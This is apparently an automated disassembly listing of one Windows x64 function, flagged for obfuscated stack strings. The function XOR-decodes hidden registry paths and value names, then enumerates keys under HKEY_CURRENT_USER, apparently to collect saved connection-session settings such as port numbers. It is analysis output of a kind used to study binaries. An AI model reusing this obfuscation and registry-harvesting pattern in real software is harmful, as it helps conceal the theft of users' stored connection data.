Function at 0x1400ea8d8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rsi, rcx
xor r12d, r12d
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x18], xmm0
mov r14d, r12d
mov qword [rbp + 0x48], r12
mov qword [rbp + 0x28], r12
mov al, 0x5a
mov dword [rbp - 0x40], 0x9005a
mov dword [rbp - 0x3c], 0x1c0015
mov dword [rbp - 0x38], 0xd000e
mov dword [rbp - 0x34], 0x8001b
mov dword [rbp - 0x30], 0x6001f
mov dword [rbp - 0x2c], 0x3b0017
mov dword [rbp - 0x28], 0x2e0028
mov dword [rbp - 0x24], 0x340033
mov dword [rbp - 0x20], 0xa007a
mov dword [rbp - 0x1c], 0x330028
mov dword [rbp - 0x18], 0x280031
mov dword [rbp - 0x14], 0x360023
mov dword [rbp - 0x10], 0xd0006
mov dword [rbp - 0xc], 0x340033
mov dword [rbp - 8], 0x190009
mov dword [rbp - 4], 0x7a000a
mov dword [rbp], 0x60068
mov dword [rbp + 4], 0x3f0009
lea r8d, [r12 + 0x29]
mov dword [rbp + 8], 0x290029
mov dword [rbp + 0xc], 0x350033
mov dword [rbp + 0x10], 0x290034
mov word [rbp + 0x14], r12w
mov ecx, r12d
lea edx, [r12 + 1]
movsx eax, al
xor word [rbp + rcx*2 - 0x3e], ax
add rcx, rdx
cmp rcx, r8
jae 0x1400ea9cc
mov al, byte [rbp - 0x40]
jmp 0x1400ea9b7
mov word [rbp + 0x14], r12w
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x3e]
mov rcx, 0xffffffff80000001
call fcn.1400e8c14
test eax, eax
je 0x1400ea9fe
mov qword [rsi], r12
mov qword [rsi + 8], r12
mov qword [rsi + 0x10], r12
jmp 0x1400eb1dd
mov qword [rsp + 0x38], r12
lea rax, [rbp - 0x6c]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x40]
call fcn.1400e8fcc
test eax, eax
jne 0x1400ea9ee
mov edi, r12d
mov dword [rbp - 0x70], r12d
mov r15, qword [rbp + 0x20]
cmp dword [rbp - 0x6c], r12d
je 0x1400eb1af
lea r13d, [rax + 0xf]
mov dword [rbp + 0x538], 0xff
lea r9, [rbp + 0x538]
lea r8, [rbp + 0x2f0]
mov edx, edi
mov rcx, qword [rbp + 0x40]
call fcn.1400e91b4
test eax, eax
jne 0x1400eb1a1
lea rax, [rbp - 0x3e]
or rcx, 0xffffffffffffffff
inc rcx
cmp word [rax + rcx*2], r12w
jne 0x1400eaa65
mov eax, dword [rbp + 0x538]
add eax, 2
add ecx, eax
movsxd rbx, ecx
mov rdx, rbx
lea rcx, [rbp + 0xd8]
call fcn.14004f5c8
nop
mov eax, Ordinal_41
mov dword [rbp - 0x80], 0x30026
mov dword [rbp - 0x7c], 0x7a0055
mov dword [rbp - 0x78], 0x550003
mov word [rbp - 0x74], r12w
mov rcx, r12
lea r12d, [rax - 0x21]
movsx eax, al
xor word [rbp + rcx*2 - 0x7e], ax
inc rcx
cmp rcx, r12
jae 0x1400eaac8
mov al, byte [rbp - 0x80]
jmp 0x1400eaab3
xor r12d, r12d
mov word [rbp - 0x74], r12w
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x3e]
lea r8, [rbp - 0x7e]
mov rdx, rbx
mov rbx, qword [rbp + 0xd8]
mov rcx, rbx
call fcn.14004d5f4
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, 0xffffffff80000001
call fcn.1400e8c14
test eax, eax
je 0x1400eab28
test rbx, rbx
je 0x1400eb1a1
mov rcx, rbx
call fcn.140173310
jmp 0x1400eb1a1
lea rax, [rbp + 0x548]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x20], r12
mov rcx, qword [rbp - 0x68]
call fcn.1400e8fcc
test eax, eax
jne 0x1400eab12
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r13
mov byte [rbp + 0x50], r12b
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], r13
mov byte [rbp + 0x70], r12b
mov qword [rbp + 0x90], r12
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r13
mov byte [rbp + 0x90], r12b
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], r13
mov byte [rbp + 0xb0], r12b
mov r13d, r12d
cmp dword [rbp + 0x548], r12d
jbe 0x1400eb14a
mov dword [rbp + 0x30], 0xff
lea r9, [rbp + 0x30]
lea r8, [rbp + 0xf0]
mov edx, r13d
mov rcx, qword [rbp - 0x68]
call fcn.1400e93ac
test eax, eax
jne 0x1400eb133
mov dword [rbp + 0x540], 0x3fff
mov ecx, 0x7ffe
call fcn.140173948
mov r12, rax
mov qword [rbp + 0xe0], rax
lea rax, [rbp + 0x540]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
lea rdx, [rbp + 0xf0]
mov rcx, qword [rbp - 0x68]
call fcn.1400e8df8
xor r14d, r14d
test eax, eax
jne 0x1400eb123
mov edx, dword [rbp + 0x540]
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
lea rcx, [rsp + 0x60]
cmp rdx, 7
ja 0x1400eac6a
mov qword [rsp + 0x70], rdx
lea rdi, [rdx + rdx]
mov r8, rdi
mov rdx, r12
call fcn.140175840
mov word [rsp + rdi + 0x60], r14w
jmp 0x1400eac7a
mov r9, r12
mov r8b, byte [rbp + 0x538]
call fcn.140003104
nop
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.1400ddf2c
nop
lea rcx, [rsp + 0x60]
call fcn.14000299c
mov eax, Ordinal_79
mov dword [rsp + 0x60], 0x4004c
lea r10d, [rax - 0x48]
mov dword [rsp + 0x64], 0x3f0023
mov dword [rsp + 0x68], 0x20038
lea r9d, [rax - 0x4a]
mov dword [rsp + 0x6c], 0x21002d
mov dword [rsp + 0x70], reloc.WLDAP32.dll_Ordinal_41
mov rcx, r14
lea edi, [rax - 0x4b]
movsx eax, al
xor word [rsp + rcx*2 + 0x62], ax
add rcx, rdi
cmp rcx, 8
jae 0x1400eacf1
mov al, byte [rsp + 0x60]
jmp 0x1400eacda
mov word [rsp + 0x72], r14w
lea rax, [rbp + 0xf0]
lea r8, [rsp + 0x62]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400ead19
add rax, r9
test ecx, ecx
jne 0x1400ead06
test edx, edx
jne 0x1400ead80
mov r14, qword [rbp - 0x50]
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r9, qword [rbp - 0x60]
cmp r14, qword [rbp + 0x68]
ja 0x1400ead60
lea rdi, [rbp + 0x50]
cmp qword [rbp + 0x68], 0x10
cmovae rdi, qword [rbp + 0x50]
mov qword [rbp + 0x60], r14
mov r8, r14
mov rdx, r9
mov rcx, rdi
call fcn.140175840
xor eax, eax
mov byte [rdi + r14], al
lea edi, [rax + 1]
jmp 0x1400ead73
mov r8b, byte [rbp + 0x538]
mov rdx, r14
lea rcx, [rbp + 0x50]
call fcn.140005450
mov r10d, 4
lea r9d, [r10 - 2]
xor r14d, r14d
mov al, 0x1c
mov dword [rsp + 0x60], 0x4c001c
mov dword [rsp + 0x64], 0x6e0073
mov dword [rsp + 0x68], 0x520068
mov dword [rsp + 0x6c], 0x710069
mov dword [rsp + 0x70], 0x79007e
mov dword [rsp + 0x74], WSAStartup
mov rcx, r14
movsx eax, al
xor word [rsp + rcx*2 + 0x62], ax
add rcx, rdi
cmp rcx, 0xa
jae 0x1400eadcc
mov al, byte [rsp + 0x60]
jmp 0x1400eadb5
mov word [rsp + 0x76], r14w
lea rax, [rbp + 0xf0]
lea r8, [rsp + 0x62]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400eadf4
add rax, r9
test ecx, ecx
jne 0x1400eade1
test edx, edx
jne 0x1400eaf23
mov dword [rbp + 0x34], r10d
lea rax, [rbp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0xf0]
mov rcx, qword [rbp - 0x68]
call fcn.1400e8df8
test eax, eax
je 0x1400eae69
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400eb113
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400eb10e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400eb201
jmp 0x1400eb10e
mov edx, dword [rbp + 0x38]
lea rcx, [rsp + 0x60]
call fcn.1400de724
mov rdi, rax
lea rax, [rbp + 0x70]
cmp rax, rdi
je 0x1400eaee1
mov rdx, qword [rbp + 0x88]
cmp rdx, 0x10
jb 0x1400eaec0
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400eaebb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400eb1fb
call fcn.140173310
movups xmm0, xmmword [rdi]
movaps xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rbp + 0x80], xmm1
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], r14b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400eaf1e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400eaf19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400eb1fb
call fcn.140173310
mov edi, 1
mov al, 0x64
mov dword [rsp + 0x60], 0x310064
mov dword [rsp + 0x64], 0x10017
mov dword [rsp + 0x68], 0x2a0016
mov dword [rsp + 0x6c], 0x90005
mov dword [rsp + 0x70], 1
mov rcx, r14
movsx eax, al
xor word [rsp + rcx*2 + 0x62], ax
add rcx, rdi
cmp rcx, 8
jae 0x1400eaf67
mov al, byte [rsp + 0x60]
jmp 0x1400eaf50
mov word [rsp + 0x72], r14w
lea rax, [rbp + 0xf0]
lea r8, [rsp + 0x62]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400eaf90
add rax, 2
test ecx, ecx
jne 0x1400eaf7c
test edx, edx
jne 0x1400eafff
mov r14, qword [rbp - 0x50]
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r9, qword [rbp - 0x60]
cmp r14, qword [rbp + 0xa8]
ja 0x1400eafe6
lea rdi, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0x10
cmovae rdi, qword [rbp + 0x90]
mov qword [rbp + 0xa0], r14
mov r8, r14
mov rdx, r9
mov rcx, rdi
call fcn.140175840
xor eax, eax
mov byte [r14 + rdi], al
lea edi, [rax + 1]
jmp 0x1400eaffc
mov r8b, byte [rbp + 0x538]
mov rdx, r14
lea rcx, [rbp + 0x90]
call fcn.140005450
xor r14d, r14d
mov al, 0x76
mov dword [rsp + 0x60], 0x260076
mov dword [rsp + 0x64], 0x50017
mov dword [rsp + 0x68], 0x10005
mov dword [rsp + 0x6c], 0x40019
mov dword [rsp + 0x70], reloc.WS2_32.dll_select
mov rcx, r14
movsx eax, al
xor word [rsp + rcx*2 + 0x62], ax
add rcx, rdi
cmp rcx, 8
jae 0x1400eb043
mov al, byte [rsp + 0x60]
jmp 0x1400eb02c
mov word [rsp + 0x72], r14w
lea rax, [rbp + 0xf0]
lea r8, [rsp + 0x62]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400eb06c
add rax, 2
test ecx, ecx
jne 0x1400eb058
test edx, edx
jne 0x1400eb0d8
mov r14, qword [rbp - 0x50]
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r9, qword [rbp - 0x60]
cmp r14, qword [rbp + 0xc8]
ja 0x1400eb0bf
lea rdi, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0x10
cmovae rdi, qword [rbp + 0xb0]
mov qword [rbp + 0xc0], r14
mov r8, r14
mov rdx, r9
mov rcx, rdi
call fcn.140175840
xor eax, eax
mov byte [rdi + r14], al
jmp 0x1400eb0d5
mov r8b, byte [rbp + 0x538]
mov rdx, r14
lea rcx, [rbp + 0xb0]
call fcn.140005450
xor r14d, r14d
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400eb113
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400eb10e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400eb207
call fcn.140173310
mov byte [rbp - 0x60], r14b
mov qword [rbp - 0x48], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x50], r14
mov edx, 2
mov rcx, r12
call fcn.140173310
xor r12d, r12d
inc r13d
cmp r13d, dword [rbp + 0x548]
jb 0x1400eabb4
mov edi, dword [rbp - 0x70]
mov r14, qword [rbp + 0x48]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rbp + 0x50]
mov rdx, r15
cmp r15, r14
je 0x1400eb16f
call fcn.1400ec604
sub r15, 0xffffffffffffff80
mov qword [rbp + 0x20], r15
jmp 0x1400eb184
lea rcx, [rbp + 0x18]
call fcn.1400ec4b4
mov r14, qword [rbp + 0x28]
mov qword [rbp + 0x48], r14
mov r15, qword [rbp + 0x20]
lea rcx, [rbp + 0x50]
call fcn.140049be0
nop
test rbx, rbx
je 0x1400eb19b
mov rcx, rbx
call fcn.140173310
mov r13d, reloc.WS2_32.dll_ntohs
inc edi
mov dword [rbp - 0x70], edi
cmp edi, dword [rbp - 0x6c]
jne 0x1400eaa32
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x20], r12
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x18], r12
mov qword [rsi], rax
mov qword [rsi + 8], r15
mov qword [rsi + 0x10], r14
lea rcx, [rbp + 0x18]
call fcn.14004a5d0
mov rax, rsi
mov rbx, qword [rsp + 0x630]
add rsp, 0x5f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14018273c
nop
call fcn.14018273c
int3
call fcn.14018273c
int3